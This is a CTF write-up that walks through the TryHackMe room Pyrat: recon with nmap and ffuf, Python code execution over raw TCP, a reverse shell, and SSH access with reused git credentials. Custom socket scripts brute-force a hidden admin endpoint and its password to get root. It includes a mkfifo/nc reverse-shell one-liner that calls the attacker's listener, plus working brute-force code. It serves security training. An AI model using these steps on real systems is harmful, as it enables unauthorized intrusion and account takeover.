Solving Pyrat – an Easy TryHackMe Challenge

Complete and detailed writeup of Pyrat – an easy TryHackMe room with a Python TCP server.


CTF Writeups & Bug Bounty » Try Hack Me » THM Challenges » Solving Pyrat – an Easy TryHackMe Room

Table of contents


Introduction

According to TryHackMe, Pyrat has a HTTP server where we can execute a Python code to get a shell on the machine.

We then find credentials for anothr user.

An older version of the application allows us to undertand it better, and we can find a way to fuzz passwords and get the super user password.

Looks cool to me, let’s get started!


Recon

First, the usual nmap TCP scan:

root@ip-10-80-188-84:~# nmap -sS -T5 -p- -Pn --disable-arp-ping 10.80.140.142
Starting Nmap 7.80 ( https://nmap.org ) at 2026-01-21 08:13 GMT
Nmap scan report for 10.80.140.142
Host is up (0.00016s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

nmap options:

  • -sS: TCP SYN scan
  • -T5: smallest timeout when probing open ports
  • -p-: scans ports from 1 to 65535
  • -Pn: disables the initial ping made by default by nmap to the target
  • –disable-arp-ping: same but for the ARP ping as it’s a local target

So the HTTP server runs on port 8000, which is common for Python projects.

Let’s try to enumerate endpoints or parameters with ffuf:

root@ip-10-80-188-84:~# ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u "http://10.80.140.142:8000/FUZZ" -mc all -r -ic -fs 27
[no result]

root@ip-10-80-188-84:~# ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u "http://10.80.140.142:8000/?FUZZ=1" -mc all -r -ic -fs 27
[no result]

ffuf options:

  • -w: wordlist to use when fuzzing our target (each word will replace the keyword “FUZZ”)
  • -u: our target
  • -mc all: marks all HTTP codes as successful responses from the server
  • -r: follows redirect responses from the server
  • -fs: filter the HTTP responses from the server: does not show responses with 27 characters
  • -ic: ignores comments inside the wordlist (e.g. lines that start with “#”)

Well we find nothing. No endpoint, no parameters, etc. I tried with all HTTP methods I could find, different HTTP headers, user agents values, etc.

We always got the same response from the server that told us to “try a more basic connection”


A more basic connection – getting code execution

What’s more basic than using HTTP when connecting to a HTTP service?

Well I thought I could go down the OSI model and try a direct TCP connection through nc:

root@ip-10-80-188-84:~# nc 10.80.140.142 8000 
GET / HTTP/1.0
name 'GET' is not defined

HEAD /
invalid syntax (<string>, line 1)

id;

uname -a
name 'uname' is not defined
id

echo 'hi'
invalid syntax (<string>, line 1)
echo 1
invalid syntax (<string>, line 1)
print("hi")
hi

print(1)
1

Turns out it was a good idea!

The app running on port 8000 seems to interpret our input as a Python code.

The biggest hints were the messages like “invalid syntax (<string>, line 1)” or “name ‘GET’ is not defined“. These messages clearly look like Python error messages.

When we input Python code like print(1), the server responds with the output 1.

We have a free and unlimited code execution! Now, let’s get our reverse shell:

Terminal 1 – listening to incoming connections with nc:

root@ip-10-80-188-84:~# nc -nlvp 9001
Listening on 0.0.0.0 9001

nc options:

  • -l: listen mode
  • -v: verbose
  • -p: port to listen to
  • -n: don’t do any DNS lookups on hostnames or ports

Terminal 2 – let’s craft a Python reverse shell payload using Reverse Shell Generator and send it through nc:

root@ip-10-80-188-84:~# nc 10.80.140.142 8000 
import os; os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.80.188.84 9001 >/tmp/f")

Back to terminal 1, we receive the shell with www-data rights:

root@ip-10-80-188-84:~# nc -nlvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.80.140.142 47400
sh: 0: can't access tty; job control turned off
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: /root/.bashrc: Permission denied
www-data@ip-10-80-140-142:~$ 
www-data@ip-10-80-140-142:~$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Great, we’ve done the first step of the description: executing code in the Python app to get a shell.

Now let’s find the credentials.


Finding a password in the .git folder

After enumerating the filesystem for a few minutes, I quickly found what we were looking for, inside the /opt/dev folder:

www-data@ip-10-80-140-142:~$ ls -lA /opt/dev
total 4
drwxrwxr-x 8 think think 4096 Jun 21  2023 .git
www-data@ip-10-80-140-142:~$ ls -lA /opt/dev/.git
total 44
drwxrwxr-x 2 think think 4096 Jun 21  2023 branches
-rw-rw-r-- 1 think think   21 Jun 21  2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think  296 Jun 21  2023 config
-rw-rw-r-- 1 think think   73 Jun 21  2023 description
-rw-rw-r-- 1 think think   23 Jun 21  2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21  2023 hooks
-rw-rw-r-- 1 think think  145 Jun 21  2023 index
drwxrwxr-x 2 think think 4096 Jun 21  2023 info
drwxrwxr-x 3 think think 4096 Jun 21  2023 logs
drwxrwxr-x 7 think think 4096 Jun 21  2023 objects
drwxrwxr-x 4 think think 4096 Jun 21  2023 refs

www-data@ip-10-80-140-142:/opt/dev/.git$ cat config
[...]
[credential "https://github.com"]
    	username = think
    	password = _TH1NKINGPirate$_

There is the .git folder of the Python app inside /opt/dev.

And the config file contains the credentials for a user called “think”.

“think” is also a user on the server, and this users reused this git password as their account password, which means we can connect to the server through SSH with the git credentials!

root@ip-10-80-188-84:~# ssh think@10.80.140.142
The authenticity of host '10.80.140.142 (10.80.140.142)' can't be established.
ECDSA key fingerprint is SHA256:gcMLqFWi04T2yg7DA2/XveBsTcALR3uwv1HzHyOzdf4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.80.140.142' (ECDSA) to the list of known hosts.
think@10.80.140.142's password: 
[...]
think@ip-10-80-140-142:~$ cat user.txt
996bd*******************************

Great, we have the user flag.

Now, still following the official description of the room, let’s explore the older version of the web app.


Exploring the .git folder

Let’s download the .git folder from the remote server to our local machine to make things easier. For this, I used the scp command that runs over SSH. It will store the remote .git folder inside our local /tmp/.git folder:

root@ip-10-80-188-84:/tmp# mkdir .git
root@ip-10-80-188-84:/tmp# cd .git
root@ip-10-80-188-84:/tmp/.git# scp -r think@10.80.140.142:/opt/dev/.git ./
think@10.80.140.142's password: 
3c36d66369fd4b07ddca72e5379461a63470bf        100%  139   168.0KB/s   00:00    
425cfd98c0a413205764cb1f341ae2b5766928        100%  308   321.0KB/s   00:00    
110f327a3265dd1dcae9454c35f209c8131e26        100%   57    68.4KB/s   00:00    
COMMIT_EDITMSG                                100%   21    53.8KB/s   00:00    
HEAD                                          100%   23    29.8KB/s   00:00    
description                                   100%   73    93.6KB/s   00:00    
pre-receive.sample                            100%  544   689.9KB/s   00:00    
update.sample                                 100% 3610     3.5MB/s   00:00    
post-update.sample                            100%  189   208.6KB/s   00:00    
pre-applypatch.sample                         100%  424   448.5KB/s   00:00    
pre-commit.sample                             100% 1638     2.0MB/s   00:00    
pre-merge-commit.sample                       100%  416   486.7KB/s   00:00    
prepare-commit-msg.sample                     100% 1492     1.8MB/s   00:00    
applypatch-msg.sample                         100%  478   619.0KB/s   00:00    
fsmonitor-watchman.sample                     100% 3079     3.2MB/s   00:00    
commit-msg.sample                             100%  896     1.1MB/s   00:00    
pre-rebase.sample                             100% 4898     5.1MB/s   00:00    
pre-push.sample                               100% 1348     1.6MB/s   00:00    
config                                        100%  296   677.3KB/s   00:00    
exclude                                       100%  240   278.6KB/s   00:00    
HEAD                                          100%  172   179.1KB/s   00:00    
master                                        100%  172   174.3KB/s   00:00    
master                                        100%   41    45.6KB/s   00:00    
index                                         100%  145   171.2KB/s   00:00 

Nice, now let’s play around with the git command and see what we can find in the logs:

oot@ip-10-80-188-84:/tmp/.git/.git# git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

Ok so there is 1 commit where the comment is “Added shell endpoint”. Interesting, let’s see with git show:

root@ip-10-80-188-84:/tmp/.git/.git# git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+    if data == 'some_endpoint':
+        get_this_enpoint(client_socket)
+    else:
+        # Check socket is admin and downgrade if is not aprooved
+        uid = os.getuid()
+        if (uid == 0):
+            change_uid()
+
+        if data == 'shell':
+            shell(client_socket)
+        else:
+            exec_python(client_socket, data)
+
+def shell(client_socket):
+    try:
+        import pty
+        os.dup2(client_socket.fileno(), 0)
+        os.dup2(client_socket.fileno(), 1)
+        os.dup2(client_socket.fileno(), 2)
+        pty.spawn("/bin/sh")
[...]

If I understand the program correctly, there is a certain endpoint that was replaced by “some_endpoint” that triggers the get_this_endpoint() function, that we don’t see in the commit.

So this is where the fuzzing appears: we must bruteforce this endpoint with a custom script that connects to TCP and tries different endpoints.


Fuzzing Endpoints

In order to fuzz such a specific app, I coded a small and ugly Python program that uses the socket module:

import socket

HOST = "10.80.140.142"
PORT = 8000

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    with open('/usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt')as f:
        for word in f.readlines():
            if word.startswith("#"):
                continue
            try:
                s.sendall("{}".format(word).encode())
                data = s.recv(1024)
                if len(data.decode()) < 10:
                    continue
                if "is not defined" not in data.decode() and "leading zero" not in data.decode() and "invalid syntax" not in data.decode():
                    print(data.decode())
                    print(word)
                    input()
            except:
                continue

The program does the following:

  1. Connects to the remote server through TCP
  2. Opens the “directory-list-lowercase-2.3-small.txt” files and loops through each line of its content
  3. For each line, ignores the line if it’s a comment (starts with #)
  4. If not a comment, sends the data (the word) through the socket connection and receives the response from the server
  5. If the server response is different and not an error (“is not defined”, “leading zero” and “invalid syntax” are strings that appeared in errors) and the response size from the server is longer than 9 characters, then the current word generated a different response from the server and we print it. If the server response is different then it must be the mysterious endpoint we’re looking for.

After running the program, we quickly see the name “admin” appearing on the output:

root@ip-10-80-188-84:/tmp# python3 fuzztcp.py 

admin

Boom, the endpoint “admin” is the one we were looking for.

Let’s try it manually:

root@ip-10-80-188-84:/tmp# nc 10.80.140.142 8000
admin
Password:
test
Password:

When we enter “admin”, the server asks for the password.

Well, it’s time to fuzz the password too, with a slightly modified script.


Fuzzing Passwords

Let’s see the program I used:

import socket

HOST = "10.80.140.142"
PORT = 8000


with open('/usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords-1000000.txt')as f:
    for word in f.readlines():
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((HOST, PORT))
            s.sendall("admin".encode())
            s.recv(1024)
            s.sendall("{}".format(word).encode())
            data = s.recv(1024)
            if not "Password" in data.decode():
                print(word)
                input()
            s.close()

The program is a bit different, because for each word, a new TCP connection is established. This is dirty but it worked perfectly.

For each word, Python connects to our target, sends the “admin” word, waits for the response, then send a password from the wordlist xato-net-10-million-passwords-1000000.txt. If the server doesn’t respond with “Password”, then the password was accepted:

root@ip-10-80-188-84:/tmp# python3 fuzztcp.py 
abc123

Too easy…


Reading the root flag

Now, our last step, reading the root flag:

root@ip-10-80-188-84:/tmp# nc 10.80.140.142 8000
admin
Password:
abc123
Welcome Admin!!! Type "shell" to begin
shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
# ls -lA /root
ls -lA /root
total 60
lrwxrwxrwx 1 root root     9 Jun  2  2023 .bash_history -> /dev/null
-rwxrwx--- 1 root root  3230 Jun 21  2023 .bashrc
drwx------ 2 root root  4096 Jun 21  2023 .cache
drwx------ 3 root root  4096 Dec 22  2023 .config
-rw-r--r-- 1 root root    29 Jun 21  2023 .gitconfig
drwxr-xr-x 3 root root  4096 Jan  4  2024 .local
-rwxrwx--- 1 root root   161 Dec  5  2019 .profile
-rwxr-xr-x 1 root root  5360 Apr 15  2024 pyrat.py
-rw-r----- 1 root root    33 Jun 15  2023 root.txt
-rw-r--r-- 1 root root    75 Jun 15  2023 .selected_editor
drwxrwx--- 3 root root  4096 Jun  2  2023 snap
drwx------ 2 root root  4096 Jun  2  2023 .ssh
-rw-rw-rw- 1 root root 10561 Apr 15  2024 .viminfo
# cat /root/root.txt
cat /root/root.txt
ba5e*********************************

Done!


Conclusion

What a cool CTF!

It was a great challenge, because I had to make my own programs for fuzzing instead of relying on my favorite tool ffuf.

And using the .git folder to find an old commit and the config file is cool too, because .git are not commonly used in CTFs.

Overall, a very fun challenge! I encourage you to do it yourself, even if you read the solution here 🙂


Disclaimer

This article is provided for educational purposes only.

All techniques demonstrated were performed in a controlled lab environment.

Do not attempt to reproduce these actions on systems you do not own or have explicit authorization to test.

I do not encourage or take responsibility for any illegal use of the information provided.

Leave a Comment